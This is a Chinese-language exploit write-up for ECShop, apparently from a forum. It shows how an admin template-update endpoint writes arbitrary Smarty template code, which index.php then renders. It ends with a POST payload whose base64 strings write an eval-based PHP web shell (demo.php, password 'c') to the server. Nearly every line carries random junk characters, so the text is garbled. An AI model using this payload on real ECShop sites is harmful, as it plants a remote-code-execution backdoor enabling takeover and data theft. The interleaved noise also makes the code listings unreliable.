首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板; i( T' |9 K5 t1 N" N5 I
) j$ o$ X: s2 p; }! l+ R, Z4 T
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了( s9 l. |0 R. V% e
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码2 c8 L' E, ]6 o; e" P/ R ?
admin/template.php: u/ T$ i, d+ g8 C3 u4 H7 M& y' t
0 h) t, d- G- y/ c* d3 w
1 if ($_REQUEST['act'] == 'update_library') / D# ~% t$ T5 ?5 a5 I) V0 t
5 C; n4 m* W& L; E8 W2 - s0 b! s5 u7 u7 E, U' e* ]* M+ H6 n" ^
6 M0 S' v/ S7 b0 o
3 {
* b8 p x7 o; B3 G; F" C; Z v( Q5 ]
4 check_authz_json('library_manage'); % n3 Z( m& d0 R5 H" U
) W1 D% S# V4 O* K( ?5
& Z$ m3 G' ]: M% |6 |% U) ` c; i; @# o, }
6 $html = stripslashes(json_str_iconv($_POST['html'])); , ]! R2 v$ I/ h: O; V0 l2 S
2 ~* A2 K5 K6 Z- L7 ?7 3 Z6 Y7 L9 y# m5 {4 g
; a2 x* J# ]: G
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 $ M' e2 ]. R( I3 W* K+ v4 J) R
5 T! B6 {# G. h( S% Y: B1 D' C
9 ; x# w: U# ]; J( f
" ]/ _5 Q6 k3 ~' T$ Q5 S9 q10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 9 G6 |: J3 M* m9 P
1 k6 i" y. u) ?: K, N' W6 |11 7 r/ ^# n3 I; B3 e* D+ p* \* V
% ^( t) S! X4 i12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 5 ~" L" F; x( `; R% E1 ]$ K6 A
1 S: e/ ]' E# i1 {7 D/ [) K13
7 L, O+ f# s, u3 v& z& V; }/ t+ m9 G. R# v8 X+ Y
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
( d% l! @8 e9 `- R
7 e% Y. }, V) ?: p- D7 e( \. k15 { ( b! [0 B+ j: [ z( L* V# ?
% T- g1 F' Q, S5 \# \
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
9 l% } M4 `' _3 L. W" X4 m _- D& I6 h' ?% z
17 make_json_result('', $_LANG['update_lib_success']);
/ w) t( y3 U4 i9 F
1 N+ r7 _& X, f: Y4 z) y18 } 9 L9 u8 Y$ L8 [9 V2 T- T) `
! H) V: b, m% Z
19 else
) o8 S) E1 [, o" \
) A9 n N4 o' T6 Q$ B20 {
- e+ t9 t; K7 q; P. R3 u) ]2 B7 x+ W: z
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
/ s4 J' {/ q. ^# r( @7 v, J: b1 V1 X0 h8 E
22 } / L' m! P# J0 t, m$ ?
. p# r+ X- } F; F23 } 1 x5 G% H( \' [
" l1 `- V0 {4 k# a8 p那么找个比较方便调用了模板的文件
+ s9 n+ Y' N3 ]) L, j5 e0 Aindex.php
& j, e# r' B5 w0 ^. q( e4 L4 z" \+ Q0 {+ x- ?0 B
1 if ($act == 'cat_rec') * I7 v7 k1 Z1 i! g$ E
v+ {' j7 S. b$ i# S, c
2
/ B+ I, C+ _1 V- f* V6 l. t
: c) W. O) y: C1 M3 { 6 T0 F5 q1 P' C- |! L
- v; u8 V5 W! }) v- L7 [9 I4 - I) I$ c! G) n: y% v
# R( N! d! v$ [8 v( Q5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
7 o- f# a( i* c" q6 q
/ G b/ J4 j, P" j" n1 ]7 W0 k6 ' F1 E2 E9 D' y" o3 D% ?
+ ?6 O& r3 x1 Z0 n! {! l* r' {6 x
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
8 C* C& G: Q; c6 c) ^1 B
* n, l0 Q* `( y# i& _8
9 d Y& J7 w |& P1 }$ Z- ~( Q6 |
' V# A# x+ ]! |+ B9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
- T9 {- H5 T/ C" ]# ^# E- i Y$ C; m/ ^
10 * E! c: k; ]* {4 \1 K7 ]/ h
$ y$ u: a* r3 a- n1 y8 u5 N11 include_once('includes/cls_json.php'); x. T# v" c6 ^& v5 E/ [
2 d! [6 k: A7 U- {12 8 O& E3 S% ~/ l5 E: w+ q1 P
3 d$ `. H9 V$ _8 h
13 $json = new JSON;
6 f! h' Z! _! T$ h7 {- p1 K/ ~# W( _1 s" Z, R
14 - @: r- f$ X* I; d6 b
9 K* F( j) q# ~! k& L# K
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); $ H+ ~; G; r" P- H# Z& K8 `
' P. r, L6 Z# Z& ?
16 # D0 \( }& f2 \& a! i. `* M; F3 T' n
9 s, n: K3 _1 t( w
17 $children = get_children($cat_id);
/ j K3 |7 n) T& U7 _+ J& C
* ?3 _& Q9 `. d6 H# G18
' U* `5 H7 D' U+ ]! @/ E/ R$ m0 V; z: @; x# ?0 Q: ]0 y
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 9 q& R1 J* `2 ?
( z4 }0 Z! u7 _8 V( A" |% ^
20
# w& w9 Y* e! Z
' D3 M5 g$ N$ }: W! U1 U7 T5 y21 $smarty->assign('cat_rec_sign', 1);
; H) c- G. }$ i5 T& v+ | } z! F. w# D! g/ V7 S
22
# c/ Z" F$ l9 ^2 \" a1 i# U- _ {0 u- f' J! _2 f v. g
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
3 ?- Z: p' U2 c1 \6 ^8 B' E% p o, |. U. Y
24
0 m. S/ O( u6 a4 V% H
a9 O- c) n* R/ ~2 S25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 1 n+ q, f/ a- P1 b5 `2 {9 Z( g
& S( R1 r7 `; J( H+ |* f0 J( t26
) R4 Z) k7 ^3 r; Q7 Y6 I. j: \
) d, l% H, S. ]7 X" e27 echo $rec_array[$rec_type];
4 B! K6 A# G5 O' w7 g9 R6 ^' Z' d7 b5 _" i: ?
28
( S6 L9 z" C) ]& ~; c Z; J: Y s3 W; j' Z
29 die($json->encode($result));
7 Y" H1 F/ ]- @9 h6 d+ |, A, [# K. G9 C' Q0 w+ Y& l% W
30
9 h! L! r/ e- c5 h i H% [7 v
: o( d/ z* \6 [ O31 } $ M" B" j, x: A$ j" W7 o
+ M/ P+ j0 w; j" ~- @# J- n: U* ?那么就有利用方法了; t2 f8 ?/ U# C! e# P# C Y
post包到http://localhost/ec/admin/template.php?act=update_library
7 H2 e6 n3 W" k0 V l% vPost内容:
$ o/ [6 Y5 b: T2 x
$ p7 R6 H. g3 m1 J0 U# X) r4 P# s+ X N. B% C
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} ; [- G3 }- D a% |7 V7 B3 ~. o! K
" T/ C f0 N1 r: a' ?& P e
然后访问http://localhost/ec/index.php?act=cat_rec
" Z, K# S, e6 M- Z4 Y9 i
8 U5 P: ?* H! Q# H: G& a; Y+ @shel地址:http://localhost/ec/demo.php
9 B* V6 G7 k0 g' p密码c' B3 |: A1 J: g$ x' O, e
& j# g1 g& o% @. i1 H& [& D |